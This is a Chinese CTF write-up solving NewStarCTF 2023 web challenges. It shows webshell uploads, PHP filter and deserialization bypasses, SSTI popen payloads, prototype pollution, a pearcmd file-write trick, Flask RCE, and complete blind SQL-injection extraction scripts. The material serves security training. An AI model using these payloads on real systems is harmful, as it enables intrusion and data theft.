[NewStarCTF 2023] web题解
作者:mmseoamin日期:2023-11-30

文章目录

  • WEEK1
    • 泄漏的秘密
    • Begin of Upload
    • Begin of HTTP
    • ErrorFlask
    • Begin of PHP
    • R!C!E!
    • EasyLogin
    • WEEK2
      • 游戏高手
      • include 0。0
      • ez_sql
      • Unserialize?
      • Upload again!
      • R!!C!!E!!
      • WEEK3
        • Include 🍐
        • medium_sql
        • POP Gadget
        • GenShin
        • OtenkiGirl
        • WEEK4
          • More Fast
          • midsql
          • flask disk
          • InjectMe
          • PharOne
            • 方法一 写马
            • 方法二 反弹shell
            • OtenkiBoy
            • WEEK5
              • Unserialize Again
              • Final
              • Ye's Pickle
              • pppython?
              • 4-复盘
              • NextDrive

                WEEK1

                泄漏的秘密

                打开题目,提示有敏感信息泄露

                在这里插入图片描述直接扫一下目录,发现有./www.zip

                在这里插入图片描述

                访问然后下载下来,解压到桌面

                在这里插入图片描述

                源码和robots.txt分别是两部分flag

                Begin of Upload

                右键看下源码,发现对上传文件后缀名有检测

                这里的检测是后缀名只需要出现合法的就行

                在这里插入图片描述我们上传1.jpg的一句话木马

                然后抓包修改文件名为1.jpg.php

                在这里插入图片描述上传成功,然后命令执行得到flag

                在这里插入图片描述

                Begin of HTTP

                打开题目,按照要求一步步来

                先是GET传参,随便给个值

                然后是POST传参,参数值藏在源码处

                在这里插入图片描述然后分别是修改cookie为ctfer;修改浏览器为NewStarCTF2023;修改Referer为newstarctf.com

                在这里插入图片描述

                最后一步只能bp抓包修改为127.0.0.1

                (这里用XFF不行,我用的是X-Real-IP)

                在这里插入图片描述

                ErrorFlask

                打开题目,提示我们传参两个数,然后帮我们计算

                在这里插入图片描述我们随便传两个数

                告诉我们不是ssti,后面还有计算结果

                在这里插入图片描述提示flag在源码

                我们修改一下其中一个为字母,让其出现报错

                果然出现了/app/app.py源码,得到flag

                在这里插入图片描述

                Begin of PHP

                源码

                 ";
                    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
                        $flag1 = True;
                    }else{
                        die("nope,this is level 1");
                    }
                }
                if($flag1){
                    echo "=Level 2=
                "; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); } } if($flag2){ echo "=Level 3=
                "; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } } } if($flag3){ echo "=Level 4=
                "; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } } } if($flag4){ echo "=Level 5=
                "; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); } }

                分析一下

                1. level 1利用弱比较md5值相等
                2. level 2利用MD5和sha1函数无法处理数组,进行数组绕过
                3. level 3同样利用数组绕过
                4. level 4利用php弱类型比较
                5. level 5则是利用key3数组绕过正则匹配;利用extract()函数的变量覆盖漏洞,传入非空字符即可

                得到flag

                在这里插入图片描述

                R!C!E!

                源码

                  
                

                分析一下,第一个if语句判断条件为上传的password参数的MD5值前六位为c4d038;第二个if语句是PHP变量名解析特性和简单的命令执行过滤

                首先利用脚本爆破出该数

                import hashlib
                prefix = "c4d038"  # 目标MD5值的前六位
                prefix_bytes = prefix.encode()  # 将前缀转换为字节串
                for i in range(100000000):
                    b = i.to_bytes(22, 'big')
                    m = hashlib.md5(str(i).encode()).hexdigest()
                    
                    if m.startswith(prefix):
                        print(i)
                        print(m)
                        break
                

                爆出来为114514

                然后是利用php的解析特性,[会被解析成下划线_;和反引号去绕过对system函数的过滤,反斜杠绕过flag,tac替换cat命令

                payload

                password=114514&e[v.a.l=echo `tac /fla\g`;
                

                得到flag

                在这里插入图片描述

                EasyLogin

                打开题目发现是登录框,尝试注册admin

                发现用户已存在

                我们随便注册一个用户为hacker,密码为123456

                登录并抓包,发现密码是MD5加密的

                在这里插入图片描述然后放行,发现中途跳转一个php界面

                我们丢到重放器,发现是页面302状态,并且出现了提示

                在这里插入图片描述

                我这里因为版本问题,我保存下来用vscode打开

                在这里插入图片描述按照提示,果然没有第七行(成功被骗)

                结合前面解题思路,老老实实爆破密码

                打开bp,payload处理修改一下

                爆出对应的MD5值,丢到在线网站得到密码为000000

                在这里插入图片描述

                然后就是登录进入终端

                ctrl+c然后ctrl+d退出执行的程序chat

                在这里插入图片描述

                没什么发现,我们刚刚在登陆抓包已经知道中途会跳转

                同样试试

                结果成功抓到这个重定向的php页面

                在这里插入图片描述得到flag

                在这里插入图片描述

                WEEK2

                游戏高手

                打开题目,发现是小游戏(题目跟最近打的SHCTF比较像)

                查看下js代码

                在这里插入图片描述发现获得胜利的条件是分数大于100000

                我们在控制台输入下面语句

                var gameScore = 10000000;
                gameover(); 
                

                回车然后得到flag

                在这里插入图片描述

                include 0。0

                源码

                  
                

                简单的文件包含,这里过滤了常见的转换过滤器base和rot

                我们可以用convert.iconv.UTF-8.UTF-16

                payload

                ?file=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=flag.php
                

                得到flag

                在这里插入图片描述

                ez_sql

                进来随便点一个,发现有参数id

                我们先fuzz测试一下过滤了什么

                抓包,随便用一个字典

                在这里插入图片描述

                发现select被过滤了,那么我们用大小写绕过

                首先爆一下字段数

                ?id=-1' union SelECt 1,2,3,4,5 --+
                

                发现字段数为5

                爆库名

                ?id=-1' union SelECt database(),2,3,4,5 --+
                

                在这里插入图片描述

                然后经过再次测试,发现information_schema.tables和where都被过滤了

                这里用mysql.innodb_table_stats和wHere代替

                (多次尝试,发现回显的位置在5而不是1,开始卡了很久没回显)

                爆表名

                ?id=-1' union SelECt 1,2,3,4,group_concat(table_name) from mysql.innodb_table_stats wHere '1 --+
                

                在这里插入图片描述

                因为我们用的是mysql.innodb_table_stats,我们无法查到列名

                所以继续用无列名注入

                ?id=-1' union SelECt 1,2,3,4,group_concat(`1`) from (SelECt 1 union SelECt * from ctf.here_is_flag)a wHere '1 --+
                

                得到flag

                在这里插入图片描述

                Unserialize?

                源码

                 cmd)){
                            @system($this->cmd);
                        }
                    }
                }
                @unserialize($_POST['unser']);
                ?> 
                

                由于是private成员变量,所以序列化后长度会加2,多两个空白符

                exp

                cmd=$cmd1;
                    }
                }
                $a=new evil('ls /');
                echo serialize($a);
                ?> 
                

                手动添加%00

                在这里插入图片描述得到flag

                在这里插入图片描述

                Upload again!

                打开题目

                在这里插入图片描述先上传最普通的马1.php,发现被检测了

                在这里插入图片描述

                我们尝试修改下后缀为.jpg,发现还是不行

                在这里插入图片描述

                在后面尝试修改MIME以及文件头,都不能绕过

                猜测是对一句话木马的

                
                

                发现可以上传,不过没有被解析成php

                在这里插入图片描述

                那么我们可以用.htaccess配置文件攻击,让jpg文件被解析成php

                首先创建.htaccess文件,写入

                
                SetHandler application/x-httpd-php
                
                

                上传成功后,上传名为1.jpg的js马

                在这里插入图片描述命令执行一下

                在这里插入图片描述得到flag

                在这里插入图片描述

                R!!C!!E!!

                打开题目,提示有信息泄露

                在这里插入图片描述

                这里我是dirsearch扫了一下目录(扫了很久)

                扫完后翻翻发现有git泄露

                在这里插入图片描述直接用工具

                先运行工具,然后访问./.git/

                在这里插入图片描述源码如下

                 
                

                一眼无参RCE,然后过滤了很多函数

                这里我们用的是getallheaders()函数

                我们先看看http头部信息

                ?star=print_r(getallheaders());
                

                在这里插入图片描述然后我们选择添加命令在User-Agent那里

                payload

                ?star=eval(next(getallheaders()));
                

                得到flag

                在这里插入图片描述

                WEEK3

                Include 🍐

                源码

                  
                

                分析一下,有文件包含漏洞,将变量和.php拼接,但是过滤了几个重要的伪协议。按照它的提示到./phpinfo.php看看,发现有假flag,不过给了hint让我们看看register_argc_argv(不了解的可以百度)。我们再在./phpinfo.php搜一下,发现选项是on

                在这里插入图片描述那么存在漏洞,具体方法为利用pearcmd.php本地文件包含

                首先要知道在pearcmd.php中&符无发分割参数,真正能分割参数的是+;然后就是利用的命令为config-create,其包括两个参数,一个是绝对路径,还有保存配置文件的文件名;并且第一个参数会被写进到文件里,我们借此实现命令执行

                payload

                ?+config-create+/&file=/usr/local/lib/php/pearcmd&/+shell.php
                

                注:由于源码会拼接.php,所以为pearcmd

                在这里插入图片描述

                bp抓包发送

                然后访问./shell.php

                在这里插入图片描述得到flag

                在这里插入图片描述

                medium_sql

                可以先bp抓包,fuzz测试一下

                在这里插入图片描述

                过滤的可以用大小写绕过,然后提示了不能联合查询

                在这里插入图片描述我们尝试布尔盲注

                ?id=TMP0919' And if(1>0,1,0)%23
                

                注:#为url编码过的

                在这里插入图片描述

                然后修改一下

                ?id=TMP0919' And if(1<0,1,0)%23
                

                在这里插入图片描述

                可以发现当正确时有回显,错误时无回显,可以用布尔盲注

                脚本如下(菜鸡本人写的)

                import requests
                import string
                host = "http://fad66500-0807-4ead-8cad-dbbe48fd82cc.node4.buuoj.cn:81/?id=TMP0919"
                def DBname():  
                    global host
                    flag=''
                    for i in range(1,1000):
                        low = 32
                        high = 128
                        mid = (low+high)//2
                        while low < high:
                            #--库名
                            payload = "' And if(Ascii(Substr(database(),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
                            res = requests.get(host + payload)
                            if 'Physics' in res.text:
                                low = mid + 1
                            else:
                                high = mid
                            mid = (low + high) // 2
                        if mid == 32 or mid == 127:
                            break
                        flag += chr(mid)
                        i += 1
                    print("数据库名为:"+flag)
                def TBname():  
                    global host
                    flag=''
                    for i in range(1,1000):
                        low = 32
                        high = 128
                        mid = (low+high)//2
                        while low < high:
                            #--表名
                            payload = "' And if(Ascii(Substr((Select Group_concat(table_name) From infOrmation_schema.tables Where Table_schema='ctf'),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
                            res = requests.get(host + payload)
                            if 'Physics' in res.text:
                                low = mid + 1
                            else:
                                high = mid
                            mid = (low + high) // 2
                        if mid == 32 or mid == 127:
                            break
                        flag += chr(mid)
                        i += 1
                    print("数据表名为:"+flag)
                def CLname():  
                    global host
                    flag=''
                    for i in range(1,1000):
                        low = 32
                        high = 128
                        mid = (low+high)//2
                        while low < high:
                            #--列名
                            payload = "' And if(Ascii(Substr((Select Group_concat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag'),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
                            res = requests.get(host + payload)
                            if 'Physics' in res.text:
                                low = mid + 1
                            else:
                                high = mid
                            mid = (low + high) // 2
                        if mid == 32 or mid == 127:
                            break
                        flag += chr(mid)
                        i += 1
                    print("数据列名为:"+flag)
                def Valname():  
                    global host
                    flag=''
                    for i in range(1,1000):
                        low = 32
                        high = 128
                        mid = (low+high)//2
                        while low < high:
                            #--报数据
                            payload = "' And if(Ascii(Substr((Select Group_concat(flag) From here_is_flag),{i},1))>{mid},1,0)%23".format(i=i, mid=mid)
                            res = requests.get(host + payload)
                            if 'Physics' in res.text:
                                low = mid + 1
                            else:
                                high = mid
                            mid = (low + high) // 2
                        if mid == 32 or mid == 127:
                            break
                        flag += chr(mid)
                        i += 1
                    print("数据为:"+flag)
                DBname()
                TBname()
                CLname()
                Valname()
                

                运行脚本得到flag

                在这里插入图片描述

                POP Gadget

                源码

                 name)){
                            echo "Hello";
                        }else{
                            echo "Welcome to NewStarCTF 2023!";
                        }
                    }
                }
                class Then{
                    private $func;
                    public function __toString()
                    {
                        ($this->func)();
                        return "Good Job!";
                    }
                }
                class Handle{
                    protected $obj;
                    public function __call($func, $vars)
                    {
                        $this->obj->end();
                    }
                }
                class Super{
                    protected $obj;
                    public function __invoke()
                    {
                        $this->obj->getStr();
                    }
                    public function end()
                    {
                        die("==GAME OVER==");
                    }
                }
                class CTF{
                    public $handle;
                    public function end()
                    {
                        unset($this->handle->log);
                    }
                }
                class WhiteGod{
                    public $func;
                    public $var;
                    public function __unset($var)
                    {
                        ($this->func)($this->var);    
                    }
                }
                @unserialize($_POST['pop']); 
                

                pop链子

                Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
                

                由于链子调用中成员属性有private和protected

                我们用construct方法去调用链子,最后再使用url编码绕过

                exp

                name = $a;    
                    }
                }
                class Then{    
                    private $func;    
                    public function __construct($a)    
                    {        
                        $this->func= $a;    
                    }
                }
                class Handle{    
                    protected $obj;    
                    public function __construct($a)    
                    {        
                        $this->obj = $a;    
                    }
                }
                class Super{    
                    protected $obj;    
                    public function __construct($a)    
                    {        
                        $this->obj = $a;    
                    }
                }
                class CTF{    
                    public $handle;    
                    public function __construct($a)    
                    {        
                        $this->handle = $a;    
                    }
                }
                class WhiteGod{    
                    public $func;    
                    public $var;    
                    public function __construct($a, $b)    
                    {        
                        $this->func = $a;        
                        $this->var = $b;    
                    }
                }
                $a = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
                echo urlencode(serialize($a));
                

                得到flag

                在这里插入图片描述

                GenShin

                考点:ssti

                在响应头找到hint

                在这里插入图片描述

                访问,fuzz测试一下

                发现过滤了{{}},',request,init,lipsum,popen

                那么我们使用{%print()%}绕过{{}},enter代替init,至于popen则可以字符串拼接(虽然整个payload都直接可以拼接)

                我们查找下能利用的

                在这里插入图片描述

                查找,在第132个

                在这里插入图片描述payload

                {%print("".__class__.__bases__[0].__subclasses__()[132].__enter__.__globals__["pop"+"en"]("cat /flag").read())%}
                

                得到flag

                在这里插入图片描述

                OtenkiGirl

                考点:js原型链污染

                题目给了源码,我们先看app.js

                const env = global.env = (process.env.NODE_ENV || "production").trim();
                const isEnvDev = global.isEnvDev = env === "development";
                const devOnly = (fn) => isEnvDev ? (typeof fn === "function" ? fn() : fn) : undefined
                const CONFIG = require("./config"), DEFAULT_CONFIG = require("./config.default");
                const PORT = CONFIG.server_port || DEFAULT_CONFIG.server_port;
                const path = require("path");
                const Koa = require("koa");
                const bodyParser = require("koa-bodyparser");
                const app = new Koa();
                app.use(require('koa-static')(path.join(__dirname, './static')));
                devOnly(_ => require("./webpack.proxies.dev").forEach(p => app.use(p)));
                app.use(bodyParser({
                    onerror: function (err, ctx) {
                        // If the json is invalid, the body will be set to {}. That means, the request json would be seen as empty.
                        if (err.status === 400 && err.name === 'SyntaxError' && ctx.request.type === 'application/json') {
                            ctx.request.body = {}
                        } else {
                            throw err;
                        }
                    }
                }));
                [
                    "info",
                    "submit"
                ].forEach(p => { p = require("./routes/" + p); app.use(p.routes()).use(p.allowedMethods()) });
                app.listen(PORT, () => {
                    console.info(`Server is running at port ${PORT}...`);
                })
                module.exports = app;
                

                简单分析一下,就是给了两个路由,分别是./info和./submit

                然后我们跟踪到route的info.js

                const Router = require("koa-router");
                const router = new Router();
                const SQL = require("./sql");
                const sql = new SQL("wishes");
                const CONFIG = require("../config")
                const DEFAULT_CONFIG = require("../config.default")
                async function getInfo(timestamp) {
                    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
                    // Remove test data from before the movie was released
                    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
                    timestamp = Math.max(timestamp, minTimestamp);
                    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
                    return data;
                }
                router.post("/info/:ts?", async (ctx) => {
                    if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
                        return ctx.body = {
                            status: "error",
                            msg: "Content-Type must be application/x-www-form-urlencoded"
                        }
                    if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
                    const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
                    if (typeof timestamp !== "number")
                        return ctx.body = {
                            status: "error",
                            msg: "Invalid parameter ts"
                        }
                    try {
                        const data = await getInfo(timestamp).catch(e => { throw e });
                        ctx.body = {
                            status: "success",
                            data: data
                        }
                    } catch (e) {
                        console.error(e);
                        return ctx.body = {
                            status: "error",
                            msg: "Internal Server Error"
                        }
                    }
                })
                module.exports = router;
                

                代码很长,但是主要部分就是getInfo函数

                let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
                

                这行代码初始化一个minTimestamp变量。它从配置对象CONFIG中获取min_public_time属性的值,如果不存在则使用默认配置对象DEFAULT_CONFIG中的min_public_time属性的值。然后,通过new Date()构造函数将该时间转换为一个日期对象,并使用getTime()方法获取其对应的时间戳。

                而当我们跟踪到config.js时发现并没有配置该属性,所以属性的值为config.default.js中的

                module.exports = {
                    app_name: "OtenkiGirl",
                    default_lang: "ja",
                }
                
                module.exports = {
                    app_name: "OtenkiGirl",
                    default_lang: "ja",
                    min_public_time: "2019-07-09",
                    server_port: 9960,
                    webpack_dev_port: 9970
                }
                

                那么我们知道getInfo对timestamp进行了一次过滤,使得所返回的数据不早于配置文件config中的min_public_time,猜测flag在这个min_public_time之前

                所以我们可以利用原型链污染使得该值在2019-07-09之前即可

                我们知道上传的为json格式

                在这里插入图片描述payload

                {  
                	"contact": "test",  
                	"reason": "test",  
                	"__proto__": {    
                		"min_public_time": "1001-01-01"  
                	}
                }
                

                污染成功

                在这里插入图片描述再次访问,得到flag

                (如果不成功。清除下网站cookie再刷新)

                在这里插入图片描述

                WEEK4

                考点:字符串逃逸

                源码

                key = $key;
                    }
                    public function __destruct()
                    {
                        system($this->cmd);
                    }
                }
                unserialize(waf(serialize(new GetFlag($_GET['key']))));
                

                分析一下,首先命令执行对应的参数为cmd,而实例化时可控的对象为key值,题目进行反序列化的时候我们只能通过get传参去控制key,结合waf函数可以字符替换,考虑用字符串逃逸

                我们本地测试下,如果传入key值为a

                 
                

                那么序列化后的结果为

                O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:6:"whoami";}
                

                由于cmd的值不可控,我们尝试把cmd的值写到key里面,也就是将字符串";s:3:"cmd";s:10:"cat /flag";}写进去

                字符串就变成如下

                O:7:"GetFlag":2:{s:3:"key";s:1:"a";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}
                

                然后我们计算一下后面被挤掉的部分字符串a";s:3:"cmd";s:6:"whoami";},长度为26,那么我们就需要26个bad被good替换的字符长度差1,再加上whoami变成cat /flag的长度差3,总共需要29个bad

                所以最终构造的payload如下

                O:7:"GetFlag":2:{s:3:"key";s:117:""badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}";s:3:"cmd";s:6:"whoami";}
                

                也就是说上传key为

                "badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
                

                得到flag

                在这里插入图片描述

                More Fast

                考点:GC回收机制提前触发__destruct()

                源码

                errMsg);
                    }
                }
                class Pwn{
                    public $obj;
                    public function __invoke(){
                        $this->obj->evil();
                    }
                    public function evil() {
                        phpinfo();
                    }
                }
                class Reverse{
                    public $func;
                    public function __get($var) {
                        ($this->func)();
                    }
                }
                class Web{
                    public $func;
                    public $var;
                    public function evil() {
                        if(!preg_match("/flag/i",$this->var)){
                            ($this->func)($this->var);
                        }else{
                            echo "Not Flag";
                        }
                    }
                }
                class Crypto{
                    public $obj;
                    public function __toString() {
                        $wel = $this->obj->good;
                        return "NewStar";
                    }
                }
                class Misc{
                    public function evil() {
                        echo "good job but nothing";
                    }
                }
                $a = @unserialize($_POST['fast']);
                throw new Exception("Nope");
                

                pop链

                Start.__destruct() --> Crypto.__toString() --> Reverse.__get() --> Pwn.__invoke() --> Web.evil() 
                

                整个链子逻辑很清晰,关键考点就是开头的这一步,由于题目会抛出异常,导致__destruct()方法不能触发,所以我们要进行绕过,下面对绕过方法解释下

                GC回收机制

                在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。

                也就是在最后序列化前进行$A=array($a,NULL);这样的步骤

                exp如下

                errMsg=$b;
                $b->obj=$c;
                $c->func=$d;
                $d->obj=$e;
                $e->func='system';
                $e->var="cat /f*";
                $A=array($a,NULL);
                echo serialize($A);
                

                运行结果

                a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;}
                

                将最后的i:1改为i"0即可,得到flag

                在这里插入图片描述

                midsql

                考点:时间盲注

                fuzz测试一下,发现只过滤了空格,用/**/替换

                然后测试,发现可以时间盲注

                ?id=1/**/and/**/(1,sleep(5),3)#
                

                脚本如下

                import requests
                import time
                chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz,}{-'
                database = ''
                table = ''
                column = ''
                flag = ''
                global DB_length
                global TB_length
                global CL_length
                #爆数据库
                for l in range(1,20):
                    Url = 'http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length(database())>{0},1,sleep(3))#'
                    UrlFormat = Url.format(l)      #format()函数使用
                    start_time0 = time.time()  		#发送请求前的时间赋值
                    requests.get(UrlFormat)
                    if  time.time() - start_time0 > 2:	#判断正确的数据库长度
                            print('database长度为:' + str(l))
                            global DB_length 
                            DB_length = l	#把数据库长度赋值给全局变量
                            break
                    else:
                        pass
                for i in range(1,DB_length+1):
                    for char in chars:
                        charAscii = ord(char) #char转换为ascii
                        url = 'http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr(database(),{0},1))>{1},1,sleep(3))#'
                        urlformat = url.format(i,charAscii)
                        start_time = time.time()
                        requests.get(urlformat)
                        if  time.time() - start_time > 2:
                            database+=char
                            print('database第{}个字符:{}'.format(i, database))
                            break
                        else:
                            pass
                print('database: ' + database)
                #爆表
                for l in range(1,20):
                    Url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('ctf')))>{0},1,sleep(3))#"
                    UrlFormat = Url.format(l)      
                    start_time0 = time.time()  		
                    requests.get(UrlFormat)
                    if  time.time() - start_time0 > 2:	
                            print('table长度为:' + str(l))
                            global TB_length 
                            TB_length = l	
                            break
                    else:
                        pass
                for i in range(1,TB_length+1):
                    for char in chars:
                        charAscii = ord(char) #char转换为ascii
                        url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like('ctf')),{0},1))>{1},1,sleep(3))#"
                        urlformat = url.format(i,charAscii)
                        start_time = time.time()
                        requests.get(urlformat)
                        if  time.time() - start_time > 2:
                            table+=char
                            print('table第{}个字符:{}'.format(i, table))
                            break
                        else:
                            pass
                print('table: ' + table)
                #爆列
                for l in range(1,20):
                    Url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(length((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('items')))>{0},1,sleep(3))#"
                    UrlFormat = Url.format(l)      
                    start_time0 = time.time()  		
                    requests.get(UrlFormat)
                    if  time.time() - start_time0 > 2:	
                            print('column长度为:' + str(l))
                            global CL_length 
                            CL_length = l	
                            break
                    else:
                        pass
                for i in range(1,CL_length+1):
                    for char in chars:
                        charAscii = ord(char) #char转换为ascii
                        url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like('items')),{0},1))>{1},1,sleep(3))#"
                        urlformat = url.format(i,charAscii)
                        start_time = time.time()
                        requests.get(urlformat)
                        if  time.time() - start_time > 2:
                            column+=char
                            print('column第{}个字符:{}'.format(i, column))
                            break
                        else:
                            pass
                print('column: ' + column)
                #爆数据
                for i in range(1,80):
                    for char in chars:
                        charAscii = ord(char) #char转换为ascii
                        url = "http://aa747dea-4776-4d4f-9c3f-6846c5f580aa.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/items),{0},1))>{1},1,sleep(3))#"
                        urlformat = url.format(i,charAscii)
                        start_time = time.time()
                        requests.get(urlformat)
                        if  time.time() - start_time > 2:
                            flag+=char
                            print('flag第{}个字符:{}'.format(i, flag))
                            break
                        else:
                            pass
                print('flag: ' + flag)
                

                flask disk

                打开题目,有三个链接

                在这里插入图片描述分别是查看文件,上传文件,输入pin码进入admin manage

                访问admin manage发现要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。

                (注:语法不能出错)

                from flask import Flask,request
                import os
                app = Flask(__name__)
                @app.route('/')
                def index():    
                    try:        
                        cmd = request.args.get('cmd')        
                        data = os.popen(cmd).read()        
                        return data    
                    except:        
                        pass    
                        
                    return "1"
                if __name__=='__main__':    
                    app.run(host='0.0.0.0',port=5000,debug=True)
                

                上传成功后,直接在跟路由命令执行

                在这里插入图片描述

                InjectMe

                考点:session伪造,ssti

                下载附件,发现是泄露了目录./app

                在这里插入图片描述打开题目,给了download的部分源码

                在这里插入图片描述分析一下,./download路由下,接受GET参数file,如果没有则filename为空值,然后是过滤了../,由于这里是替换为空,可以绕过。然后拼接路径,如果存在则返回

                结合Dockerfile泄露的目录,可以猜到运行文件,直接目录穿越读取源码

                /download?file=..././..././..././app/app.py
                

                源码如下

                import os
                import re
                from flask import Flask, render_template, request, abort, send_file, session, render_template_string
                from config import secret_key
                app = Flask(__name__)
                app.secret_key = secret_key
                @app.route('/')
                def hello_world():  # put application's code here
                    return render_template('index.html')
                @app.route("/cancanneed", methods=["GET"])
                def cancanneed():
                    all_filename = os.listdir('./static/img/')
                    filename = request.args.get('file', '')
                    if filename:
                        return render_template('img.html', filename=filename, all_filename=all_filename)
                    else:
                        return f"{str(os.listdir('./static/img/'))} 
                /cancanneed?file=1.jpg" @app.route("/download", methods=["GET"]) def download(): filename = request.args.get('file', '') if filename: filename = filename.replace('../', '') filename = os.path.join('static/img/', filename) print(filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else: abort(500) else: abort(404) @app.route('/backdoor', methods=["GET"]) def backdoor(): try: print(session.get("user")) if session.get("user") is None: session['user'] = "guest" name = session.get("user") if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.', name): abort(500) else: return render_template_string( '竟然给

                %s

                你找到了我的后门,你一定是网络安全大赛冠军吧!😝
                那么 现在轮到你了!
                最后祝您玩得愉快!😁' % name) except Exception: abort(500) @app.errorhandler(404) def page_not_find(e): return render_template('404.html'), 404 @app.errorhandler(500) def internal_server_error(e): return render_template('500.html'), 500 if __name__ == '__main__': app.run('0.0.0.0', port=8080)

                分析一下

                存在./backdoor路由,获取session中user的值,如果没有赋值为guest,有的话进行正则匹配(此处存在ssti漏洞)

                根据源码,secret_key在config.py里,我们可以访问下载得到key

                获取key

                /download?file=..././..././..././app/config.py
                

                在这里插入图片描述然后解密

                在这里插入图片描述

                由于过滤了很多,这里用八进制编码绕过

                脚本如下

                import re
                import requests
                import subprocess
                # 把这个下载了,需要使用里面的flask-session-cookie-manager3.py
                # # https://github.com/noraj/flask-session-cookie-manager
                def string_to_octal_ascii(s):
                    octal_ascii = ""
                    for char in s:
                        char_code = ord(char)
                        octal_ascii += "\\\\" + format(char_code, '03o')
                        # octal_ascii += "\\\\" + format(char_code, 'o')    
                    return octal_ascii
                secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
                # payload = "{%print(7*7)%}"
                # payload = "{%print(\"\"\\\\u005f\\\\u005f\"\")%}"
                # payload = "{%print(\"\"\\\\x5f\\\\x5f\"\")%}"
                eval_shell = "\"\""+string_to_octal_ascii("__import__(\"os\").popen(\"cat /*\").read()")+"\"\""
                print(eval_shell)
                # docker部署&windows运行payload
                # {{x.__init__.__globals__.__builtins__.eval('__import__("os").popen("dir").read()')}}
                payload = "{{%print(xxx|attr(\"\"\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\137\\\\137\\\\142\\\\165\\\\151\\\\154\\\\164\\\\151\\\\156\\\\163\\\\137\\\\137\"\")|attr(\"\"\\\\137\\\\137\\\\147\\\\145\\\\164\\\\151\\\\164\\\\145\\\\155\\\\137\\\\137\"\")(\"\"\\\\145\\\\166\\\\141\\\\154\"\")({0}))%}}".format(eval_shell)
                print(payload)
                command = "python flask_session_cookie_manager3.py encode -s \"{0}\" -t \"{{'user':'{1}'}}\"".format(secret_key,payload)
                print(command)
                session_data = subprocess.check_output(command, shell=True)
                print(session_data)
